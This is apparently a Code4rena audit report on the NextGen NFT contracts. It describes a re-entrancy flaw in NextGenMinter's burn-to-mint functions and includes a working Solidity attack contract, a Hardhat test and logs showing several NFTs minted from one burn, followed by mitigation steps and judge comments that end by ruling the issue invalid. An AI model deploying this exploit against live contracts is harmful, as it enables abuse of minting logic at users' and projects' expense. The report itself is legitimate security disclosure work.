NextGenMinter::burnToMint() and NextGenMinter::burnOrSwapExternalToMint() Multiple NFTs can be minted by burning/swapping just one NFT (Cross functional re-entrancy)

[c4-submissions]

Lines of code

https://github.com/code-423n4/2023-10-nextgen/blob/ff8cfc5529ee4a567e1ce1533b4651d6626d1def/hardhat/smart-contracts/NextGenCore.sol#L218

Vulnerability details

Impact

The NextGenMinter::burnToMint() and NextGenMinter::burnOrSwapExternalToMint() method calls the NextGenCore::burnToMint() and NextGenCore::mint() method, which has a _safeMint() function. This function enables the attacker's contract to re-enter into the NextGenMinter::mint() method by using the onERC721Received method, potentially allowing them to mint multiple NFTs while burning/swapping only one NFT.

Although the user will pay for minting the NFT, it breaks of concept of the 1:1 burn/swap and mint ratio.

An important thing to consider here is, it's more of a use-case and logic-related issue than just re-entrance.
Ideally, if burnToMint or burnOrSwapExternalToMint is initialized then the same collection should not be minted from NextGenMinter::mint(). If both are open to minting, then the following scenarios will take place

• If the minter collection reaches total supply by minting through the public NextGenMinter::mint() method, then burnToMint will become useless.

• If all NFTs from the burn collections are burned and minted, and if the minter collection max supply is reached, then the NextGenMinter::mint() method will become useless.

• If users raced against both methods, there is no control over which NFTs can be burned/swapped to mint and which NFTs can be minted directly from NextGenMinter::mint().

This will result in an uncertain no.of NFTs minted from burn/swap methods and simple mint methods.

Please check the last section for Mitigation steps.

Proof of Concept

AttackMinter.sol

// SPDX-License-Identifier: MIT

pragma solidity ^0.8.19;

interface MinterContract {
    function mint(uint256 _collectionID, uint256 _numberOfTokens, uint256 _maxAllowance, string memory _tokenData, address _mintTo, bytes32[] calldata merkleProof, address _delegator, uint256 _saltfun_o) external payable;
    function burnToMint(uint256 _burnCollectionID, uint256 _tokenId, uint256 _mintCollectionID, uint256 _saltfun_o) external payable;
}

interface IERC721Receiver {
    function onERC721Received(
        address operator,
        address from,
        uint256 tokenId,
        bytes calldata data
    ) external returns (bytes4);
}


contract AttackMinter {

    address attacker;
    address minter;
    uint256 hackCount;
    bytes32[] proof;

    modifier onlyAttacker() {
        require(msg.sender == attacker);
        _;
    }

    constructor(address _minter) {
        attacker = msg.sender;
        minter = _minter;
    }

    receive() external payable {}

        function attack(bytes32[] memory _proof, uint256 _tokenId) public onlyAttacker {
            proof = _proof;

            MinterContract(minter).burnToMint{value: 1 ether}(
                1,
                _tokenId,
                2,
                0
            );
        }

        function onERC721Received(address to, address zero, uint256 id, bytes memory data) external returns(bytes4) {
            if(hackCount <= 2) {
                hackCount++;
                MinterContract(minter).mint{value: 1 ether}(
                    2,
                    1,
                    0,
                    '{"name":"nextgen"}',
                    address(this),
                    proof,
                    address(0),
                    0
                );
            }
            return IERC721Receiver.onERC721Received.selector;
        }
}

AttackMinterTest.js

     it.only('Burn to mint attack', async() => {
      //Create collection 1
      await contracts.hhCore.createCollection(
        "Test Collection 1",
        "Artist 1",
        "For testing",
        "www.test.com",
        "CCO",
        "https://ipfs.io/ipfs/hash/",
        "",
        ["desc"],
      );

      //Create collection 2
      await contracts.hhCore.createCollection(
        "Test Collection 2",
        "Artist 2",
        "For testing",
        "www.test.com",
        "CCO",
        "https://ipfs.io/ipfs/hash/",
        "",
        ["desc"],
      );
      
      //Register collection admin - 1
      await contracts.hhAdmin.registerCollectionAdmin(
        1,
        signers.addr1.address,
        true,
      );

      //Register collection admin - 2
      await contracts.hhAdmin.registerCollectionAdmin(
        2,
        signers.addr1.address,
        true,
      );

      //Set collection data - 1
      await contracts.hhCore.connect(signers.addr1).setCollectionData(
        1, // _collectionID
        signers.addr1.address, // _collectionArtistAddress
        1, // _maxCollectionPurchases
        10000, // _collectionTotalSupply
        0, // _setFinalSupplyTimeAfterMint
      );

      //Set collection data - 2
      await contracts.hhCore.connect(signers.addr1).setCollectionData(
        2, // _collectionID
        signers.addr1.address, // _collectionArtistAddress
        1, // _maxCollectionPurchases
        10000, // _collectionTotalSupply
        0, // _setFinalSupplyTimeAfterMint
      );

      //Set collection cost - 1
      await contracts.hhMinter.setCollectionCosts(
        1, // _collectionID
        ethers.parseEther("1"), // _collectionMintCost
        0, // _collectionEndMintCost
        0, // _rate
        0, // _timePeriod
        1, // _salesOptions
        '0xD7ACd2a9FD159E69Bb102A1ca21C9a3e3A5F771B', // delAddress
      );

      //Set collection cost - 2
      await contracts.hhMinter.setCollectionCosts(
        2, // _collectionID
        ethers.parseEther("1"), // _collectionMintCost
        0, // _collectionEndMintCost
        0, // _rate
        0, // _timePeriod
        1, // _salesOptions
        '0xD7ACd2a9FD159E69Bb102A1ca21C9a3e3A5F771B', // delAddress
      );

      //Set collection phase - 1
      await contracts.hhMinter.setCollectionPhases(
        1, // _collectionID
        1696931278, // _allowlistStartTime
        1696931278, // _allowlistEndTime
        1696931278, // _publicStartTime
        1796931278, // _publicEndTime
        "0x4d7aaffbc6ae5e19ad05c73a14c2611aded38f1ed27a0e7f9783bd91638b3dff", // _merkleRoot
      );

      //Set collection phase - 2
      await contracts.hhMinter.setCollectionPhases(
        2, // _collectionID
        1696931278, // _allowlistStartTime
        1696931278, // _allowlistEndTime
        1696931278, // _publicStartTime
        1796931278, // _publicEndTime
        "0x4d7aaffbc6ae5e19ad05c73a14c2611aded38f1ed27a0e7f9783bd91638b3dff", // _merkleRoot
      );

      //Add randomizer - 1
      await contracts.hhCore.addRandomizer(
        1, `${await contracts.hhRandomizer.getAddress()}`,
      )
      
      //Add randomizer - 2
      await contracts.hhCore.addRandomizer(
        2, `${await contracts.hhRandomizer.getAddress()}`,
      );

      //Add the minter contract to the core
      await contracts.hhCore.addMinterContract(
        `${await contracts.hhMinter.getAddress()}`
      );

      //Fund the attacker contract address
      const attackerContractAddress = await contracts.attackMinter.getAddress();
      const attackerAddress = await signers.addr3.getAddress();
      await signers.addr3.sendTransaction({
        to: attackerContractAddress,
        value: ethers.parseEther("10"),
      });

      const proof = [
        '0x61c3d0228d941599482928950a3185d1c16be967c323683c2bf2aa0b8dd80657'
      ];

      //Pre-setup
      const txResult = await contracts.hhMinter.connect(signers.addr3).mint(
        1,
        1,
        1,
        '{"name":"nextgen"}',
        attackerAddress,
        proof,
        "0x0000000000000000000000000000000000000000",
        0,
        { value: ethers.parseEther("1")}
      );

      const txReceipt = await txResult.wait();
      const tokenId = parseInt(Number(txReceipt.logs[0].topics[3]));
      console.log(tokenId);

      //Transfer the minted NFT to the attack contract
      await contracts.hhCore.connect(signers.addr3).transferFrom(attackerAddress, attackerContractAddress, tokenId);

      //Initialize burn
      await contracts.hhMinter.initializeBurn(1, 2, true);

      //Burn collection 1 and mint collection 2
      //await contracts.hhMinter.connect(signers.addr3).burnToMint(1, tokenId, 2, 0, {value: ethers.parseEther('1')});
      await contracts.attackMinter.connect(signers.addr3).attack(proof, tokenId);

      //Checking the circulation supply of mintingContract after burning 1 NFT.
      console.log('Circulation supply of Minting contract after burning 1 NFT', await contracts.hhCore.viewCirSupply(2));
    });

Output Logs

Circulation supply of Minting contract after burning 1 NFT 4n

After burning 1 NFT, the attacker can mint n NFTs, here it's 4.

Tools Used

Hardhat

Recommended Mitigation Steps

1. The first recommended step is to Add the ReentrancyGuard modifier to NextGenMinter::mint(), NextGenMinter::burnToMint() and NextGenMinter::burnOrSwapExternalToMint().(and other potentially risky methods).

2. An option to disable minting a collection from NextGenMinter::mint() if burnToMint/burnOrSwapExternalToMint is initialized for that particular collection.

Assessed type

Reentrancy

[c4-pre-sort]

141345 marked the issue as primary issue

[c4-pre-sort]

141345 marked the issue as sufficient quality report

[c4-pre-sort]

141345 marked the issue as duplicate of #1597

[c4-pre-sort]

141345 marked the issue as duplicate of #1742

[alex-ppg]

The burnOrSwapExternalToMint attack path is insufficiently elaborated so duplicate of #90 for now, might be a duplicate of #1518 as well.

[c4-judge]

alex-ppg marked the issue as not a duplicate

[c4-judge]

alex-ppg marked the issue as duplicate of #90

[c4-judge]

alex-ppg marked the issue as unsatisfactory:
Invalid